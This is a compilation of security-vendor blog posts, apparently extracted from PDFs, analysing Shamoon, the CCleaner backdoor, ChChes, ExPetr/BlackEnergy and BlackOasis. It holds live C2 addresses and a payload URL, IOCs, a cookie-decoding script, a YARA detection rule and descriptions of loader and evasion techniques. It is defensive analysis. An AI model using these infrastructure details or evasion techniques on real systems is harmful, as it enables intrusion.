+If this execution is successful, it creates a buffer using VirtualAlloc and calls InternetReadFile in a loop until all the file contents are retrieved from hxxp://45.76.128.165:4443/0w0O6. This
+is then returned as a string to PowerShell, which calls invoke-expression (iex) on it, indicating that the expected payload is PowerShell.
+Of note, the macro contained a DownloadFile() function that would use URLDownloadToFileA, but this was never actually used.
+Based on observations associated with the malicious document, we observed subsequent shell sessions probably associated with Metasploit
+s Meterpreter that enabled deployment of
+additional tools and malware preceding deployment of three Shamoon-related files: ntertmgr32.exe, ntertmgr64.exe and vdsk911.sys.
+Shamoon
+s Back, But for How Long This Time?
+Although the complete list of Shamoon
+s victims is not public, Bloomberg reported that in one case, thousands of computers were destroyed at the headquarters of Saudi
+s General
+Authority of Civil Aviation, erasing critical data and bringing operations to a halt for several days.
+The recent activity X-Force IRIS is seeing from the Shamoon attackers has so far been detected in two waves, but those are likely to subside following the public attention the cases have
+garnered since late 2016.
+Saudi Arabia released a warning to local organizations about the Shamoon malware, alerting about potential attacks and advising organizations to prepare. Analysis and warnings about
+Shamoon are resulting in preparation on the targets
+ end, and actors are likely to disappear and change their tactics until the next wave of attacks.
+For technical details on this research and related indicators of compromise, see the X-Force Advisory on X-Force Exchange.
+Evidence Aurora Operation Still Active: Supply Chain Attack
+Through CCleaner
+intezer.com /evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/
+9/20/2017
+Recently, there have been a few attacks with a supply chain infection, such as Shadowpad being implanted in many
+of Netsarang
+s products, affecting millions of people. You may have the most up to date cyber security software, but
+when the software you are trusting to keep you protected gets infected there is a problem. A backdoor, inserted into
+legitimate code by a third party with malicious intent, leads to millions of people being hacked and their information
+stolen.
+Avast
+s CCleaner software had a backdoor encoded into it by someone who had access to the supply chain.
+Through somewhere that had access to the source code of CCleaner, the main executable in v5.33.6162 had been
+modified to include a backdoor. The official statement from Avast can be found here
+The Big Connection:
+Costin Raiu, director of Global Research and Analysis Team at Kaspersky Lab, was the first to find a code
+connection between APT17 and the backdoor in the infected CCleaner:
+The malware injected into #CCleaner has shared code with several tools used by one of the APT
+groups from the #Axiom APT 'umbrella'.
+ Costin Raiu (@craiu) September 19, 2017
+Using Intezer Analyze
+ , we were able to verify the shared code between the backdoor implanted in CCleaner and
+earlier APT17 samples. The photo below is the result of uploading the CCBkdr module to Intezer Analyze
+ , where
+the results show there is an overlap in code. With our technology, we can compare code to a huge database of
+malicious and trusted software 
+ that
+s how we can prove that this code has never been seen before in any other
+software.
+A deeper analysis leads us to the functions shown below. The code in question is a unique implementation of
+base64 only previously seen in APT17 and not in any public repository, which makes a strong case about attribution
+to the same threat actor.
+This code connection is huge news. APT17, also known as Operation Aurora, is one of the most sophisticated cyber
+attacks ever conducted and they specialize in supply chain attacks. In this case, they probably were able to hack
+CCleaner
+s build server in order to plant this malware. Operation Aurora started in 2009 and to see the same threat
+actor still active in 2017 could possibly mean there are many other supply chain attacks by the same group that we
+are not aware of. The previous attacks are attributed to a Chinese group called PLA Unit 61398.
+Technical Analysis:
+The infected CCleaner file that begins the analysis is from
+6f7840c77f99049d788155c1351e1560b62b8ad18ad0e9adda8218b9f432f0a9
+A technical analysis was posted by Talos here ( http://blog.talosintelligence.com/2017/09/avast-distributesmalware.html).
+The flow-graph of the malicious CCleaner is as follows (taken from the Talos report):
+Infected function:
+Load and execute the payload code:
+After the embedded code is decrypted and executed, the next step is a PE (portable executable) file loader. A PE file
+loader basically emulates the process of what happens when you load an executable file on Windows. Data is read
+from the PE header, from a module created by the malware author.
+The PE loader first begins by resolving the addresses of imports commonly used by loaders and calling them.
+GetProcAddress to get the addresses of external necessary functions, LoadLibraryA to load necessary modules into
+memory and get the address of the location of the module in memory, VirtualAlloc to create memory for somewhere
+to copy the memory, and in some cases, when not implemented, and memcpy to copy the buffer to the newly
+allocated memory region.
+After the module is copied to memory, to load it properly, the proper loading procedure is executed. The relocation
+table is read to adjust the module to the base address of the allocated memory region, the import table is read, the
+necessary libraries are loaded, and the import address table is filled with the correct addresses of the imports. Next,
+the entire PE header is overwritten with 0
+s, a mechanism to destroy the PE header tricking security software into not
+realizing this module is malicious, and after the malicious code begins execution.
+The main module does the following:
+1. Tries an anti-debug technique using time and IcmpSendEcho to wait
+2. Collect data about the computer (Operating system, computer name, DNS domain, running processes, e tc)
+3. Allocates memory for payload to retrieve from C&C server
+4. Contacts C&C server at IP address 216.126.225.148
+a. If this IP address is unreachable, uses a domain generation algorithm and uses a different domain depending
+on the month and year
+5. Executes code sent by C&C
+By the time of the analysis, we were unable to get our hands on the code sent by the C&Cs.
+If you would like to analyze the malware yourself, you may refer to my tweet.
+#ccleaner malware DLL w/ IAT fix https://t.co/FprmtmkV64 https://t.co/dgWiQVd31k @TalosSecurity
+@malwrhunterteam pic.twitter.com/TxsbveFoHJ
+ Jay Rosenberg (@jaytezer) September 18, 2017
+By Jay Rosenberg
+Jay Rosenberg is a self-taught reverse engineer from a very young age (12 years old), specializing in
+Reverse Engineering and Malware Analysis. Currently working as a Senior Security Researcher in
+Intezer.
+Evidence Aurora Operation Still Active Part 2: More Ties
+Uncovered Between CCleaner Hack & Chinese Hackers
+intezer.com /evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinesehackers/
+10/2/2017
+Since my last post, we have found new evidence in the next stage payloads of the CCleaner supply chain attack that
+provide a stronger link between this attack and the Axiom group.
+First of all, our researchers would like to thank the entire team at Cisco Talos for their excellent work on this attack
+(their post regarding stage 2 can be found here) as well as their cooperation by allowing us access to the stage 2
+payload. Also, we would like to give a special thanks to Kaspersky Labs for their collaboration.
+The Next Connection
+Starting from the stage 2 payload, I reverse engineered the module, extracting other hidden shellcode and binaries
+within. After uploading the different binaries to Intezer Analyze
+ , the final payload (that I have access to) had a
+match with a binary relating to the Axiom group.
+1/17
+At first glance, I believed it was going to be the same custom base64 function as mentioned in my previous blog
+post. A deeper look in the shared code proved otherwise.
+Binary in screenshot:
+f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a
+Related APT17 samples:
+07f93e49c7015b68e2542fc591ad2b4a1bc01349f79d48db67c53938ad4b525d
+0375b4216334c85a4b29441a3d37e61d7797c2e1cb94b14cf6292449fb25c7b2
+20cd49fd0f244944a8f5ba1d7656af3026e67d170133c1b3546c8b2de38d4f27
+ee362a8161bd442073775363bf5fa1305abac2ce39b903d63df0d7121ba60550
+2/17
+Not only did the first payload have shared code between the Axiom group and CCBkdr, but the second did as well.
+The above photo shows the same function between two binaries. Let me put this into better context for you: out of all
+the billions and billions of pieces of code (both trusted and malicious) contained in the Intezer Code Genome
+Database, we found this code in only these APTs . It is also worth noting that this isn
+t a standard method one would
+use to call an API. The attacker used the simple technique of employing an array to hide a string from being in clear
+sight of those analyzing the binary (although to those who are more experienced, it is obvious) and remain
+undetected from antivirus signatures. The author probably copied and pasted the code, which is what often happens
+to avoid duplicative efforts: rewriting the same code for the same functionality twice.
+Due to the uniqueness of the shared code, we strongly concluded that the code was written by the same attacker.
+3/17
+Technical Analysis:
+The stage two payload that was analyzed in this report
+(dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83), after launching the infected version
+of CCleaner, was dropped to only a selective group of targets, as reported by Talos. Although there is an x64
+version, the following analysis will only include the x86 version because they are nearly identical. I will not be going
+too far in depth as full comprehension of the technical analysis will require an understanding of reverse engineering.
+Instead of using the typical API (VirtualAlloc) to allocate memory, the attackers allocated memory on the heap using
+LocalAlloc, and then copied a compressed payload to the allocated memory.
+4/17
+It looks like the attackers used version 1.1.4 of zlib to decompress the payload into this allocated memory region.
+5/17
+Depending on if you
+re running x86 or x64 Windows, it will drop a different module. (32-bit
+07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55cf34902, 64-bit
+128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f) Both modules are actually legitimate
+software with additional code and a modified execution flow.
+6/17
+The last modified time on the modules is changed to match that of the msvcrt.dll that is located in your system32
+folder
+a technique to stay under the radar by not being able to check last modified files.
+7/17
+Some shellcode and another module are written to the registry.
+8/17
+9/17
+After the module is successfully dropped, a service is created under the name Spooler or SessionEnv, depending
+upon your environment, which then loads the newly dropped module.
+The new module being run by the service allocates memory, reads the registry where the other payload is located,
+and then copies it to memory.
+10/17
+11/17
+The next payload is executed, which decrypts another module and loads it. If we look at the memory of the next
+decrypted payload, we can see something that looks like a PE header without the MZ signature. From here, it is as
+simple as modifying the first two bytes to represent MZ and we have a valid PE file.
+(f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a)
+12/17
+The next module is a essentially another backdoor that connects to a few domains; before revealing the true IP, it
+will connect to for the next stage payload.
+13/17
+It starts by ensuring it receives the correct response from https://www.microsoft.com and
+https://update.microsoft.com.
+14/17
+The malware proceeds to decrypt two more URLs.
+The malware authors used steganography to store the IP address in a ptoken field of the HTML.
+Here you can see the GitHub page with the ptoken field.
+15/17
+The value is then XOR decrypted by 0x31415926 which gives you 0x5A093B0D or the IP address: 13.59.9.90
+Conclusion:
+The complexity and quality of this particular attack has led our team to conclude that it was most likely statesponsored. Considering this new evidence, the malware can be attributed to the Axiom group due to both the nature
+of the attack itself and the specific code reuse throughout that our technology was able to uncover.
+IOCs:
+Stage 2 Payload: dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83
+x86 Trojanized Binary: 07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55cf34902
+x86 Registry Payload: f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a
+x64 Trojanized Binary: 128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f
+16/17
+x64 Registry Payload: 75eaa1889dbc93f11544cf3e40e3b9342b81b1678af5d83026496ee6a1b2ef79
+Registry Keys:
+HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\001
+HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\002
+HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\003
+HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\004
+HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\HBP
+About Intezer:
+Through its 
+DNA mapping
+ approach to code, Intezer provides enterprises with unparalleled threat detection that
+accelerates incident response and eliminates false positives, while protecting against fileless malware, APTs, code
+tampering and vulnerable software.
+Curious to learn what
+s next for Intezer? Join us on our journey toward achieving these endeavors here on the blog
+or request a community free edition invite
+By Jay Rosenberg
+Jay Rosenberg is a self-taught reverse engineer from a very young age (12 years old), specializing in
+Reverse Engineering and Malware Analysis. Currently working as a Senior Security Researcher in
+Intezer.
+17/17
+ChChes 
+ Malware that Communicates with C&C Servers Using
+Cookie Headers
+blog.jpcert.or.jp/2017/02/chches-malware--93d6.html
+Since around October 2016, JPCERT/CC has been confirming emails that are sent to Japanese organisations with
+a ZIP file attachment containing executable files. The targeted emails, which impersonate existing persons, are sent
+from free email address services available in Japan. Also, the executable files
+ icons are disguised as Word
+documents. When the recipient executes the file, the machine is infected with malware called ChChes.
+This blog article will introduce characteristics of ChChes, including its communication.
+ZIP files attached to Targeted Emails
+While some ZIP files attached to the targeted emails in this campaign contain executable files only, in some cases
+they also contain dummy Word documents. Below is the example of the latter case.
+Figure 1: Example of an attached ZIP file
+In the above example, two files with similar names are listed: a dummy Word document and an executable file
+whose icon is disguised as a Word document. By running this executable file, the machine will be infected with
+ChChes. JPCERT/CC has confirmed the executable files that have signatures of a specific code signing certificate.
+The dummy Word document is harmless, and its contents are existing online articles related to the file name 
+Donald Trump won
+. The details of the code signing certificate is described in Appendix A.
+Communication of ChChes
+ChChes is a type of malware that communicates with specific sites using HTTP to receive commands and modules.
+There are only few functions that ChChes can execute by itself. This means it expands its functions by receiving
+modules from C&C servers and loading them on the memory.
+The following is an example of HTTP GET request that ChChes sends. Sometimes, HEAD method is used instead
+of GET.
+GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1
+Cookie: uHa5=kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs%3D;KQ=yt%2Fe(omitted)
+Accept: */*
+Accept-Encoding: gzip, deflate
+User-Agent: [user agent]
+Host: [host name]
+Connection: Keep-Alive
+Cache-Control: no-cache
+As you can see, the path for HTTP request takes /[random string].htm, however, the value for the Cookie field is not
+random but encrypted strings corresponding to actual data used in the communication with C&C servers. The value
+can be decrypted using the below Python script.
+data_list = cookie_data.split(';')
+dec = []
+for i in range(len(data_list)):
+tmp = data_list[i]
+pos = tmp.find("=")
+key = tmp[0:pos]
+val = tmp[pos:]
+md5 = hashlib.md5()
+md5.update(key)
+rc4key = md5.hexdigest()[8:24]
+rc4 = ARC4.new(rc4key)
+dec.append(rc4.decrypt(val.decode("base64"))[len(key):])
+print("[*] decoded: " + "".join(dec))
+The following is the flow of communication after the machine is infected.
+Figure 2: Flow of communication
+The First Request
+The value in the Cookie field of the HTTP request that ChChes first sends (Request 1) contains encrypted data
+starting with 
+. The following is an example of data sent.
+Figure 3: Example of the first data sent
+As indicated in Figure 3, the data which is sent contains information including computer name. The format of the
+encrypted data differs depending on ChChes
+s version. The details are specified in Appendix B.
+As a response to Request 1, ChChes receives strings of an ID identifying the infected machine from C&C servers
+(Response 1). The ID is contained in the Set-Cookie field as shown below.
+Figure 4: Example response to the first request
+Request for Modules and Commands
+Next, ChChes sends an HTTP request to receive modules and commands (Request 2). At this point, the following
+data starting with 
+ is encrypted and contained in the Cookie field.
+B[ID to identify the infected machine]
+As a response to Request 2, encrypted modules and commands (Response 2) are sent from C&C servers. The
+following shows an example of received modules and commands after decryption.
+Figure 5: Decrypted data of modules and commands received
+Commands are sent either together with modules as a single data (as above), or by itself. Afterwards, execution
+results of the received command are sent to C&C servers, and it returns to the process to receive modules and
+commands. This way, by repeatedly receiving commands from C&C servers, the infected machines will be
+controlled remotely.
+JPCERT/CC
+s research has confirmed modules with the following functions, which are thought to be the bot function
+of ChChes.
+Encrypt communication using AES
+Execute shell commands
+Upload files
+Download files
+Load and run DLLs
+View tasks of bot commands
+Especially, it was confirmed that the module that encrypts the communication with AES is received in a relatively
+early stage after the infection. With this feature, communication with C&C servers after this point will be encrypted in
+AES on top of the existing encryption method.
+Summary
+ChChes is a relatively new kind of malware which has been seen since around October 2016. As this may be
+continually used for targeted attacks, JPCERT/CC will keep an eye on ChChes and attack activities using the
+malware.
+The hash values of the samples demonstrated here are described in Appendix C. The malware
+s destination hosts
+that JPCERT/CC has confirmed are listed in Appendix D. We recommend that you check if your machines are
+communicating with such hosts.
+Thanks for reading.
+- Yu Nakamura
+(Translated by Yukako Uchida)
+Appendix A: Code signing certificate
+The code signing certificate attached to some samples are the following:
+$ openssl x509 -inform der -text -in mal.cer
+Certificate:
+Data:
+Version: 3 (0x2)
+Serial Number:
+3f:fc:eb:a8:3f:e0:0f:ef:97:f6:3c:d9:2e:77:eb:b9
+Signature Algorithm: sha1WithRSAEncryption
+Issuer: C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use
+at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA
+Validity
+Not Before: Aug 5 00:00:00 2011 GMT
+Not After : Aug 4 23:59:59 2012 GMT
+Subject: C=IT, ST=Italy, L=Milan, O=HT Srl, OU=Digital ID Class 3 Microsoft Software Validation v2, CN=HT Srl
+Subject Public Key Info:
+(Omitted)
+Figure 6: Code signing certificate
+Appendix B: ChChes version
+The graph below shows the relation between the version numbers of the ChChes samples that JPCERT/CC has
+confirmed and the compile times obtained from their PE headers.
+Figure 7: Compile time for each ChChes version
+The lists below describe encrypted data contained in the first HTTP request and explanation of the values for each
+ChChes version.
+Table 1: Sending format of each
+version
+Version
+Format
+1.0.0
+A*?3618468394??*
+1.2.2
+A*?3618468394??*
+1.3.0
+A*?3618468394??*
+1.3.2
+A*?3618468394??*
+1.4.0
+A*?3618468394??*
+1.4.1
+A*?3618468394?? ()*
+1.6.4
+A**?3618468394?? ()*
+Table 2: Description of to
+Letter
+Data
+Size
+Details
+Computer name
+Variable
+Capital alphanumeric characters
+Process ID
+Variable
+Capital alphanumeric characters
+Path of a temp folder
+Variable
+%TEMP% value
+Letter
+Data
+Size
+Details
+Malware version
+Variable
+e.g. 1.4.1
+Screen resolution
+Variable
+e.g. 1024x768
+explorer.exe version
+Variable
+e.g. 6.1.7601.17567
+kernel32.dll version
+Variable
+e.g. 6.1.7601.17514
+Part of MD5 value of SID
+16 bytes
+e.g. 0345cb0454ab14d7
+Appendix C: SHA-256 Hash value of the samples
+ChChes
+5961861d2b9f50d05055814e6bfd1c6291b30719f8a4d02d4cf80c2e87753fa1
+ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145
+2c71eb5c781daa43047fa6e3d85d51a061aa1dfa41feb338e0d4139a6dfd6910
+19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b
+316e89d866d5c710530c2103f183d86c31e9a90d55e2ebc2dda94f112f3bdb6d
+efa0b414a831cbf724d1c67808b7483dec22a981ae670947793d114048f88057
+e90064884190b14a6621c18d1f9719a37b9e5f98506e28ff0636438e3282098b
+9a6692690c03ec33c758cb5648be1ed886ff039e6b72f1c43b23fbd9c342ce8c
+bc2f07066c624663b0a6f71cb965009d4d9b480213de51809cdc454ca55f1a91
+e6ecb146f469d243945ad8a5451ba1129c5b190f7d50c64580dbad4b8246f88e
+e88f5bf4be37e0dc90ba1a06a2d47faaeea9047fec07c17c2a76f9f7ab98acf0
+d26dae0d8e5c23ec35e8b9cf126cded45b8096fc07560ad1c06585357921eeed
+2965c1b6ab9d1601752cb4aa26d64a444b0a535b1a190a70d5ce935be3f91699
+312dc69dd6ea16842d6e58cd7fd98ba4d28eefeb4fd4c4d198fac4eee76f93c3
+4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297
+45d804f35266b26bf63e3d616715fc593931e33aa07feba5ad6875609692efa2
+cb0c8681a407a76f8c0fd2512197aafad8120aa62e5c871c29d1fd2a102bc628
+75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f
+471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856
+ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86
+646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543
+3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03
+9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d
+723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48
+f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b
+Appendix D: List of communication destination
+area.wthelpdesk.com
+dick.ccfchrist.com
+kawasaki.cloud-maste.com
+kawasaki.unhamj.com
+sakai.unhamj.com
+scorpion.poulsenv.com
+trout.belowto.com
+zebra.wthelpdesk.com
+hamiltion.catholicmmb.com
+gavin.ccfchrist.com
+A gut feeling of old acquaintances, new tools, and a
+common battleground
+securelist.com /from-blackenergy-to-expetr/78937/
+By GReAT
+Much has been written about the recent ExPetr/NotPetya/Nyetya/Petya outbreak 
+ you can read our findings
+here:Schroedinger
+s Pet(ya) and ExPetr is a wiper, not ransomware.
+As in the case of Wannacry, attribution is very difficult and finding links with previously known malware is
+challenging. In the case of Wannacry, Google
+s Neel Mehta was able to identify a code fragment which became the
+most important clue in the story, and was later confirmed by further evidence, showing Wannacry as a pet project of
+the Lazarus group.
+To date, nobody has been able to find any significant code sharing between ExPetr/Petya and older malware. Given
+our love for unsolved mysteries, we jumped right on it.
+Analyzing the Similarities
+At the beginning of the ExPetr outbreak, one of our team members pointed to the fact that the specific list of
+extensions used by ExPetr is very similar to the one used by BlackEnergy
+s KillDisk ransomware from 2015 and
+2016 (Anton Cherepanov from ESET made the same observation on Twitter).
+The BlackEnergy APT is a sophisticated threat actor that is known to have used at least one zero day, coupled with
+destructive tools, and code geared towards attacking ICS systems. They are widely confirmed as the entity behind
+the Ukraine power grid attack from 2015 as well as a chain of other destructive attacks that plagued that country
+over the past years.
+If you are interested in reading more about the BlackEnergy APT, be sure to check our previous blogs on the topic:
+Going back to the hunt for similarities, here
+s how the targeted extensions lists looks in ExPetr and a version of a
+wiper used by the BE APT group in 2015:
+ExPetr
+2015 BlackEnergy wiper sample
+3ds, .7z, .accdb, .ai, .asp, .aspx,
+.avhd, .back, .bak, .c, .cfg, .conf,
+.cpp, .cs, .ctl, .dbf, .disk, .djvu, .doc,
+.docx, .dwg, .eml, .fdb, .gz, .h, .hdd,
+.kdbx, .mail, .mdb, .msg, .nrg, .ora,
+.ost, .ova, .ovf, .pdf, .php, .pmf, .ppt,
+.pptx, .pst, .pvi, .py, .pyc, .rar, .rtf,
+.sln, .sql, .tar, .vbox, .vbs, .vcb, .vdi,
+.vfd, .vmc, .vmdk, .vmsd, .vmx,
+.vsdx, .vsv, .work, .xls
+.3ds, .7z, .accdb, .accdc, .ai, .asp, .aspx, .avhd, .back, .bak, .bin, .bkf, .cer,
+.cfg, .conf, .crl, .crt, .csr, .csv, .dat, .db3, .db4, .dbc, .dbf, .dbx, .djvu, .doc,
+.docx, .dr, .dwg, .dxf, .edb, .eml, .fdb, .gdb, .git, .gz, .hdd, .ib, .ibz, .io, .jar,
+.jpeg, .jpg, .jrs, .js, .kdbx, .key, .mail, .max, .mdb, .mdbx, .mdf, .mkv, .mlk,
+.mp3, .msi, .my, .myd, .nsn, .oda, .ost, .ovf, .p7b, .p7c, .p7r, .pd, .pdf,
+.pem, .pfx, .php, .pio, .piz, .png, .ppt, .pptx, .ps, .ps1, .pst, .pvi, .pvk, .py,
+.pyc, .rar, .rb, .rtf, .sdb, .sdf, .sh, .sl3, .spc, .sql, .sqlite, .sqlite3, .tar, .tiff,
+.vbk, .vbm, .vbox, .vcb, .vdi, .vfd, .vhd, .vhdx, .vmc, .vmdk, .vmem, .vmfx,
+.vmsd, .vmx, .vmxf, .vsd, .vsdx, .vsv, .wav, .wdb, .xls, .xlsx, .xvd, .zip
+Obviously, the lists are similar in composition and formatting, but not identical. Moreover, older versions of the BE
+destructive module have even longer lists. Here
+s a snippet of an extensions list from a 2015 BE sample that is even
+longer:
+Nevertheless, the lists were similar in the sense of being stored in the same dot-separated formats. Although this
+indicated a possible link, we wondered if we could find more similarities, especially in the code of older variants of
+BlackEnergy and ExPetr.
+We continued to chase that hunch during the frenetic early analysis phase and shared this gut feeling of a similarity
+between ExPetr and BlackEnergy with our friends at Palo Alto Networks. Together, we tried to build a list of features
+that we could use to make a YARA rule to detect both ExPetr and BlackEnergy wipers.
+During the analysis, we focused on the similar extensions list and the code responsible for parsing the file system for
+encryption or wiping. Here
+s the code responsible for checking the extensions to target in the current version of
+ExPetr:
+This works by going through the target file system in a recursive way, then checking if the extension for each file is
+included in the dot-separated list. Unfortunately for our theory, the way this is implemented in older BlackEnergy
+variants is quite different; the code is more generic and the list of extensions to target is initialized at the beginning,
+and passed down to the recursive disk listing function.
+Instead, we took the results of automated code comparisons and paired them down to a signature that perfectly fit
+the mould of both in the hope of unearthing similarities. What we came up with is a combination of generic code and
+interesting strings that we put together into a cohesive rule to single out both BlackEnergy KillDisk components and
+ExPetr samples. The main example of this generic code is the inlined wcscmp function merged by the compiler
+optimization, meant to check if the filename is the current folder, which is named 
+. Of course, this code is pretty
+generic and can appear in other programs that recursively list files. It
+s inclusion alongside a similar extension list
+makes it of particular interest to us 
+but remains a low confidence indicator.
+Looking further, we identified some other candidate strings which, although not unique, when combined together
+allow us to fingerprint the binaries from our case in a more precise way. These include:
+exe /r /f
+ComSpec
+InitiateSystemShutdown
+When put together with the wcscmp inlined code that checks on the filename, we get the following YARA rule:
+rule blackenergy_and_petya_similarities {
+strings:
+//shutdown.exe /r /f
+$bytes00 = { 73 00 68 00 75 00 74 00 64 00 6f 00 77 00 6e 00 2e 00 65 00 78 00 65 00 }
+//ComSpec
+$bytes01 = { 43 00 6f 00 6d 00 53 00 70 00 65 00 63 00 }
+//InitiateSystemShutdown
+$bytes02 = { 49 6e 69 74 69 61 74 65 53 79 73 74 65 6d 53 68 75 74 64 6f 77 6e 45 78 57}
+//68A4430110
+push
+0100143A4 ;
+ntdll.dll
+//FF151CD10010
+call
+GetModuleHandleA
+//3BC7
+//7420
+$bytes03 = { 68 ?? ?? ?1 ?0 ff 15 ?? ?? ?? ?0 3b c7 74 ?? }
+eax,edi
+$bytes04 = { 2f 00 63 00 }
+//wcscmp(
+$hex_string = { b9 ?? ?? ?1 ?0 8d 44 24 ?c 66 8b 10 66 3b 11 75 1e 66
+85 d2 74 15 66 8b 50 02 66 3b 51 02 75 0f 83 c0 04 83 c1 04 66 85 d2 75
+de 33 c0 eb 05 1b c0 83 d8 ff 85 c0 0f 84 ?? 0? 00 00 b9 ?? ?? ?1 ?0 8d
+44 24 ?c 66 8b 10 66 3b 11 75 1e 66 85 d2 74 15 66 8b 50 02 66 3b 51 02
+75 0f 83 c0 04 83 c1 04 66 85 d2 75 de 33 c0 eb 05 1b c0 83 d8 ff 85 c0
+0f 84 ?? 0? 00 00 }
+condition:
+((uint16(0) == 0x5A4D)) and (filesize < 5000000) and
+(all of them)
+When run on our extensive (read: very big) malware collection, the YARA rule above fires on BlackEnergy and
+ExPetr samples only. Unsurprisingly, when used alone, each string can generate false positives or catch other
+unrelated malware. However, when combined together in this fashion, they become very precise . The
+technique of grouping generic or popular strings together into unique combinations is one of the most effective
+methods for writing powerful Yara rules.
+Of course, this should not be considered a sign of a definitive link, but it does point to certain code design
+similarities between these malware families.
+This low confidence but persistent hunch is what motivates us to ask other researchers around the world to join
+us in investigating these similarities and attempt to discover more facts about the origin of ExPetr/Petya.
+Looking back at other high profile cases, such as the Bangladesh Bank Heist or Wannacry, there were few facts
+linking them to the Lazarus group. In time, more evidence appeared and allowed us, and others, to link them
+together with high confidence. Further research can be crucial to connecting the dots, or, disproving these theories.
+d like to think of this ongoing research as an opportunity for an open invitation to the larger security community
+to help nail down (or disprove) the link between BlackEnergy and ExPetr/Petya. Our colleagues at ESET have
+published their own excellent analysis suggesting a possible link between ExPetr/Petya and TeleBots
+(BlackEnergy). Be sure to check out their analysis. And as mentioned before, a special thanks to our friends at Palo
+Alto for their contributions on clustering BlackEnergy samples.
+Hashes
+ExPetr:
+027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745
+11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80
+5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6
+F52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95
+368d5c536832b843c6de2513baf7b11bcafea1647c65df7b6f2648840fa50f75
+A6a167e214acd34b4084237ba7f6476d2e999849281aa5b1b3f92138c7d91c7a
+Edbc90c217eebabb7a9b618163716f430098202e904ddc16ce9db994c6509310
+F9f3374d89baf1878854f1700c8d5a2e5cf40de36071d97c6b9ff6b55d837fca
+BlackOasis APT and new targeted attacks leveraging zeroday exploit
+securelist.com /blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/
+By GReAT
+More information about BlackOasis APT is available to customers of Kaspersky Intelligence Reporting Service.
+Contact: intelreports@kaspersky.com
+Introduction
+Kaspersky Lab has always worked closely with vendors to protect users. As soon as we find new vulnerabilities we
+immediately inform the vendor in a responsible manner and provide all the details required for a fix.
+On October 10, 2017, Kaspersky Lab
+s advanced exploit prevention systems identified a new Adobe Flash zero day
+exploit used in the wild against our customers. The exploit was delivered through a Microsoft Office document and
+the final payload was the latest version of FinSpy malware. We have reported the bug to Adobe who assigned it
+CVE-2017-11292 and released a patch earlier today:
+So far only one attack has been observed in our customer base, leading us to believe the number of attacks are
+minimal and highly targeted.
+Analysis of the payload allowed us to confidently link this attack to an actor we track as 
+BlackOasis
+. We are also
+highly confident that BlackOasis was also responsible for another zero day exploit (CVE-2017-8759) discovered by
+FireEye in September 2017. The FinSpy payload used in the current attacks (CVE-2017-11292) shares the same
+command and control (C2) server as the payload used with CVE-2017-8759 uncovered by FireEye.
+BlackOasis Background
+We first became aware of BlackOasis
+ activities in May 2016, while investigating another Adobe Flash zero day. On
+May 10, 2016, Adobe warned of a vulnerability (CVE-2016-4117) affecting Flash Player 21.0.0.226 and earlier
+versions for Windows, Macintosh, Linux, and Chrome OS. The vulnerability was actively being exploited in the wild.
+Kaspersky Lab was able to identify a sample exploiting this vulnerability that was uploaded to a multi scanner
+system on May 8, 2016. The sample, in the form of an RTF document, exploited CVE-2016-4117 to download and
+1/10
+install a program from a remote C&C server. Although the exact payload of the attack was no longer in the C&C, the
+same server was hosting multiple FinSpy installation packages.
+Leveraging data from Kaspersky Security Network, we identified two other similar exploit chains used by BlackOasis
+in June 2015 which were zero days at the time. Those include CVE-2015-5119 and CVE-2016-0984, which were
+patched in July 2015 and February 2016 respectively. These exploit chains also delivered FinSpy installation
+packages.
+Since the discovery of BlackOasis
+ exploitation network, we
+ve been tracking this threat actor with the purpose of
+better understanding their operations and targeting and have seen a couple dozen new attacks. Some lure
+documents used in these attacks are shown below:
+2/10
+Decoy documents used in BlackOasis attacks
+To summarize, we have seen BlackOasis utilizing at least five zero days since June 2015:
+CVE-2015-5119 
+ June 2015
+CVE-2016-0984 
+ June 2015
+CVE-2016-4117 
+ May 2016
+CVE-2017-8759 
+ Sept 2017
+CVE-2017-11292 
+ Oct 2017
+Attacks Leveraging CVE-2017-11292
+The attack begins with the delivery of an Office document, presumably in this instance via e-mail. Embedded within
+3/10
